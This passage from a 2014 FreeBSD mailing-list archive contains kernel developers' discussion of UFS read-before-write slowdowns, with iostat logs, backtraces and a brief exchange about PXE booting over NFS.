1s, and here's the output form the start of the 4k block fio workload: extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 349.5 0.0 44612.3 48 88.0 52 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 655.4 0.0 83773.6 76 99.8 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 699.2 0.0 89493.1 59 109.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 628.1 0.0 80392.6 55 114.8 98 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 655.7 0.0 83799.6 79 98.4 102 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 701.4 0.0 89782.0 80 105.5 97 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 697.9 0.0 89331.6 78 112.0 103 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 714.1 0.0 91408.7 77 110.3 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 724.0 0.0 92675.0 67 112.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 700.4 0.0 89646.6 49 102.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 686.4 0.0 87857.2 78 110.0 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 702.0 0.0 89851.6 80 112.9 97 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 736.3 0.0 94246.4 67 110.1 103 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 624.6 0.0 79950.0 48 115.7 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 704.0 0.0 90118.4 77 106.1 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 714.6 0.0 91470.0 80 103.6 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 710.4 0.0 90926.1 80 111.1 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 655.3 0.0 83882.1 70 115.8 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 539.8 0.0 69094.5 80 121.2 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 711.6 0.0 91087.6 79 107.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 705.5 0.0 90304.5 81 111.3 97 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 727.3 0.0 93092.8 81 108.9 102 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 699.5 0.0 89296.4 55 109.0 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 689.0 0.0 88066.1 78 96.6 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 738.3 0.0 94496.1 56 109.1 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 615.4 0.0 78770.0 80 112.3 98 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 707.3 0.0 90529.8 86 105.7 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 704.3 0.0 89333.9 67 98.3 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 641.3 0.0 82081.5 80 112.3 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 701.6 0.0 89747.9 51 101.1 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 693.0 0.0 88702.1 80 103.6 97 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 632.7 0.0 80991.8 80 112.0 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 709.0 0.0 90748.2 80 107.5 102 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 715.0 0.0 91523.0 80 104.7 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 650.1 0.0 83210.5 56 110.9 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 682.2 0.0 87319.1 57 107.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 719.0 0.0 92032.6 80 103.6 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 624.3 0.0 79905.8 80 110.5 97 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 696.5 0.0 89151.7 80 109.9 103 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 664.2 0.0 85017.6 77 109.9 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 681.7 0.0 87254.0 80 107.5 98 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 668.5 0.0 85569.3 57 109.9 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 682.3 0.0 87329.0 53 110.8 102 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 643.9 0.0 82420.9 77 104.8 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 As can be seen from the log above, at first the workload runs fine, and the disk is only performing writes, but at some point (in this case around 40% of completion) it starts performing this read-before-write dance that completely screws up performance. Roger. From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 18:06:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C40FDF85; Sat, 5 Jul 2014 18:06:05 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2FFD62EE7; Sat, 5 Jul 2014 18:06:05 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s65I5qsV048552 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Jul 2014 21:05:52 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s65I5qsV048552 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s65I5q0A048359; Sat, 5 Jul 2014 21:05:52 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 5 Jul 2014 21:05:52 +0300 From: Konstantin Belousov To: Julian Elischer Subject: Re: Strange IO performance with UFS Message-ID: <20140705180552.GT93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B80A97.1080803@freebsd.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="oFYJDJkv0E+Y9r9L" Content-Disposition: inline In-Reply-To: <53B80A97.1080803@freebsd.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers , Roger Pau Monn? X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 18:06:05 -0000 --oFYJDJkv0E+Y9r9L Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jul 05, 2014 at 10:24:23PM +0800, Julian Elischer wrote: > On 7/5/14, 7:24 PM, Konstantin Belousov wrote: > > This leaves the unwritten portion of the block with the garbage. I > > believe that it is not harmful, since the only way for usermode to > > access that garbage is through the mmap(2). The vnode_generic_getpages() > > zeroes out parts of the page which are after EOF. >=20 > I have vague memories of this being in a security bulletin once along=20 > the lines of "random data disclosure" by making tons of 1 frag size=20 > files and then mmapping them. I am not sure what do you reference there. Might be, http://www.freebsd.org/security/advisories/FreeBSD-SA-13:11.sendfile.asc ? --oFYJDJkv0E+Y9r9L Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuD5/AAoJEJDCuSvBvK1BoLAP/jSqameKVZxTczf3CNW1f1OT U3wY3Dad+2ymwVmNkF6k5Rq4rFKfYOSt/DJflGMzC8FWCNFdrm3iCW0H3shMEYSQ Eugjui+f0XrtDj+8t65ngmiBPJ4Jp8/uDoTs2ZlYl+psx3HJ+VZtRo928sHePG9O oBZLlPUcA7ZGmrsflWJRIbZbi3MyHgvIg/h3pRzvO02MD5yMvuJBB/KAhRlHtgap Bi4aRaDfGE3XyL/+3DCnViAZNuyKP9JnPPlTUfXsMbaNxCeNoUtSnR+UrzhXsACH 2iLvSbVX19zN8q1yNbvMWOgfeonXnx8fbvjnkH7BByyaPsqwYeKCNTqBVGmK0oL8 DsOjGk6yDHb3fZrf1wlqdGGZ/9WgHZlRaBHvsweoYu/4Q2w4IoQNW55k5bq4DKAP PJIxzIE4GUozANhg1q+V0kzpUMNJHaPFlWJnn9Nld1NVU91LJ1LHdzDzivsaUujP 9TUXaQTlB43m+k7JruqyFCUbMmqSXSlUmG+y8K/FECs+LWe9sRYW6UruoLUkUAE2 fjtPZbmtkGWo+h9ILPu63g5E5QWxLHaBzk4lUu9KZYigQTpW0DAMVMIwnZgVhm+p 04bmvvJfg6gVqHHmqz9+ef5gkg/eHCedos8dBaE2HuBbar4QVI0wI49z60esiwvy iymUu+RPNEvPynC4Tw1W =whGv -----END PGP SIGNATURE----- --oFYJDJkv0E+Y9r9L-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 19:35:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 942F7CA1 for ; Sat, 5 Jul 2014 19:35:12 +0000 (UTC) Received: from mail-ie0-x231.google.com (mail-ie0-x231.google.com [IPv6:2607:f8b0:4001:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 645E82675 for ; Sat, 5 Jul 2014 19:35:12 +0000 (UTC) Received: by mail-ie0-f177.google.com with SMTP id tp5so2316169ieb.8 for ; Sat, 05 Jul 2014 12:35:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=lYepreXZMJazOZkSnNA9mrr85wO1yDeo6Qo/aO+PZlo=; b=N72zXs8qFOrOYdyTMt0jsrEWVQjXaM5r0bRDZml6CVPSlqG+XUom4Ku4HoXb8nvi/o di1DIA7AbWi6avreWopQiYTJ4jx7gfjlKvCm2FC0LAiI2nmWQfdYAiVr8gbSDzXHuRhf X8uib1vDaF3EgQCkWIos+g38F+GResWbQne0I1IMEGw1eJYG0E9kCk9V/VmE1jNkRupU S6PzzEpWYtHlFW7zzmLFe/VWE2JekP6uIJCa/GJ84PwL+OJdYZDCnNh04tljMV32OCHB j3PcnktNtJL2aMKp9JFvzvnkXAMu+y0aB27pSB6a1UQXI4G2ZH7f4y1dNXyyTxJFLrAS Oo8Q== MIME-Version: 1.0 X-Received: by 10.42.67.203 with SMTP id u11mr23902157ici.20.1404588911566; Sat, 05 Jul 2014 12:35:11 -0700 (PDT) Sender: oshogbo.vx@gmail.com Received: by 10.50.27.36 with HTTP; Sat, 5 Jul 2014 12:35:11 -0700 (PDT) In-Reply-To: References: Date: Sat, 5 Jul 2014 21:35:11 +0200 X-Google-Sender-Auth: u1HL_QOChIw5RReg07mhvFHoc_M Message-ID: Subject: Re: Mount freebsd file systems during pxe boot using NFS From: Mariusz Zaborski To: amine tay Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 19:35:12 -0000 Hello, Did you mange to get it work? What vm do you use? Check out also this: http://oshogbo.vexillium.org/blog/28/ Cheers, Marisuz On 24 June 2014 15:43, amine tay wrote: > Hello, everyone , > > I have a little problem that took me 3 days of work and still no result or > solution. > I am trying to pxe boot a FreeBSD 9.2 i386 on a virtual machine. Everything > is ok on my DHCP , TFTP and NFS server. > > DHCP : > option root-path is set > > TFTP: > my pxebot file > > NFS : > /etc/exports file is filled with tha path of the image > > Once the client is booted it hangs when trying to mount system files as it > is shown in the image attached. > > Also in my FreeBSD kernel I have : option NFS_ROOT > I don't know what's the problem. and I commented out the /etc/fstab > > /etc/fstab (of FreeBSD image) > #/dev/iso9660/FREEBSD_INSTALL / cd9660 ro 0 0 > > Thank you in advance for your help. > > Amine. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 19:58:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4B2D2BE6; Sat, 5 Jul 2014 19:58:28 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B25032859; Sat, 5 Jul 2014 19:58:27 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s65JwGhe075890 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Jul 2014 22:58:16 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s65JwGhe075890 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s65JwGMt075889; Sat, 5 Jul 2014 22:58:16 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 5 Jul 2014 22:58:16 +0300 From: Konstantin Belousov To: Roger Pau Monn? Subject: Re: Strange IO performance with UFS Message-ID: <20140705195816.GV93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B8253F.5060403@citrix.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SJ2dn9eo9utwE8uN" Content-Disposition: inline In-Reply-To: <53B8253F.5060403@citrix.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 19:58:28 -0000 --SJ2dn9eo9utwE8uN Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: > On 05/07/14 13:24, Konstantin Belousov wrote: > > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: > >> On 05/07/14 11:58, Konstantin Belousov wrote: > >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? > >>> wrote: > >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a=20 > >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46=20 > >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2=20 > >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166=20 > >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22=20 > >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173=20 > >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65=20 > >>>> kernel`sys_write+0x63 > >>>>=20 > >>>> This can also be seen by running iostat in parallel with the > >>>> fio workload: > >>>>=20 > >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0=20 > >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 > >>>>=20 > >>>> This clearly shows that even when I was doing a sequential > >>>> write (the fio workload shown above), the disk was actually > >>>> reading more data than writing it, which makes no sense, and > >>>> all the reads come from the path trace shown above. > >>>=20 > >>> The backtrace above means that the BA_CLRBUF was specified for=20 > >>> UFS_BALLOC(). In turns, this occurs when the write size is > >>> less than the UFS block size. UFS has to read the block to > >>> ensure that partial write does not corrupt the rest of the > >>> buffer. > >>=20 > >> Thanks for the clarification, that makes sense. I'm not opening > >> the file with O_DIRECT, so shouldn't the write be cached in > >> memory and flushed to disk when we have the full block? It's a > >> sequential write, so the whole block is going to be rewritten > >> very soon. > >>=20 > >>>=20 > >>> You can get the block size for file with stat(2), st_blksize > >>> field of the struct stat, or using statfs(2), field f_iosize of > >>> struct statfs, or just looking at the dumpfs output for your > >>> filesystem, the bsize value. For modern UFS typical value is > >>> 32KB. > >>=20 > >> Yes, block size is 32KB, checked with dumpfs. I've changed the > >> block size in fio to 32k and then I get the expected results in > >> iostat and fio: > >>=20 > >> extended device statistics device r/s w/s kr/s kw/s > >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 > >> 101 extended device statistics device r/s w/s kr/s > >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 > >> 112.1 99 extended device statistics device r/s w/s kr/s > >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 > >> 111.7 97 > >>=20 > >> write: io=3D10240MB, bw=3D81704KB/s, iops=3D2553, runt=3D128339msec > >=20 > > The current code in ffs_write() only avoids read before write when=20 > > write covers complete block. I think we can somewhat loose the > > test to also avoid read when we are at EOF and write covers > > completely the valid portion of the last block. > >=20 > > This leaves the unwritten portion of the block with the garbage. I=20 > > believe that it is not harmful, since the only way for usermode to=20 > > access that garbage is through the mmap(2). The > > vnode_generic_getpages() zeroes out parts of the page which are > > after EOF. > >=20 > > Try this, almost completely untested: >=20 > Doesn't seem to help much, I'm still seeing the same issue. I'm > sampling iostat every 1s, and here's the output form the start of the > 4k block fio workload: >=20 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 349.5 0.0 44612.3 48 88.0 52 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 655.4 0.0 83773.6 76 99.8 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 699.2 0.0 89493.1 59 109.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 628.1 0.0 80392.6 55 114.8 98 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 655.7 0.0 83799.6 79 98.4 102 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 701.4 0.0 89782.0 80 105.5 97 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 697.9 0.0 89331.6 78 112.0 103 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 714.1 0.0 91408.7 77 110.3 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 724.0 0.0 92675.0 67 112.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 700.4 0.0 89646.6 49 102.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 686.4 0.0 87857.2 78 110.0 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 702.0 0.0 89851.6 80 112.9 97 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 736.3 0.0 94246.4 67 110.1 103 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 624.6 0.0 79950.0 48 115.7 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 704.0 0.0 90118.4 77 106.1 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 714.6 0.0 91470.0 80 103.6 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 710.4 0.0 90926.1 80 111.1 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 655.3 0.0 83882.1 70 115.8 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 539.8 0.0 69094.5 80 121.2 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 711.6 0.0 91087.6 79 107.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 705.5 0.0 90304.5 81 111.3 97 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 727.3 0.0 93092.8 81 108.9 102 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 699.5 0.0 89296.4 55 109.0 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 689.0 0.0 88066.1 78 96.6 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 738.3 0.0 94496.1 56 109.1 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 615.4 0.0 78770.0 80 112.3 98 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 707.3 0.0 90529.8 86 105.7 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 704.3 0.0 89333.9 67 98.3 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 641.3 0.0 82081.5 80 112.3 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 701.6 0.0 89747.9 51 101.1 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 693.0 0.0 88702.1 80 103.6 97 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 632.7 0.0 80991.8 80 112.0 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 709.0 0.0 90748.2 80 107.5 102 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 715.0 0.0 91523.0 80 104.7 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 650.1 0.0 83210.5 56 110.9 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 682.2 0.0 87319.1 57 107.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 719.0 0.0 92032.6 80 103.6 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 624.3 0.0 79905.8 80 110.5 97 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 696.5 0.0 89151.7 80 109.9 103 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 664.2 0.0 85017.6 77 109.9 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 681.7 0.0 87254.0 80 107.5 98 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 668.5 0.0 85569.3 57 109.9 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 682.3 0.0 87329.0 53 110.8 102 > extended device 